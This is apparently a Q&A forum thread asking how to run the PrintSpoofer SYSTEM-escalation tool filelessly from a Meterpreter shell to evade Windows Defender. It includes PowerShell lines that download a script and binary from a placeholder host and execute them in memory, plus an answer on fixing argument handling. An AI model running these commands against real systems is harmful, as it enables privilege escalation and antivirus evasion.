PrintSpoofer uses named pipe impersonation to elevate on Windows 10 to SYSTEM from a user with SeImpersonatePrivilege (Local Service, Network Service, Administrator etc.). The compiled version is detected by Windows Defender, therefore it would be nice to run it without touching the disk, e.g. in memory.

I've tried using Invoke-ReflectivePEInjection from an interactive Meterpreter shell (I opened a powershell channel).

(New-Object System.Net.WebClient).DownloadString('http://example.com/Invoke-ReflectivePEInjection.ps1') | IEX
$bytes = (New-Object System.Net.WebClient).DownloadData('http://example.com/PrintSpoofer.exe')
Invoke-ReflectivePEInjection -PEBytes $bytes -ExeArgs "-i -c cmd"

The command completes without an error but nothing happens. I've made sure Invoke-ReflectivePEInjection works, I've tested it with other PE files.

I suspect that the problem stems from PrintSpoofer using RpcOpenPrinter, RpcRemoteFindFirstPrinterChangeNotificationEx and RpcClosePrinter which are non-standard API functions in RpcRT4.dll and NdrClientCall2.


It does work, but it doesn't take the arguments into account. Try hardcoding the arguments inside the source code and recompile.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.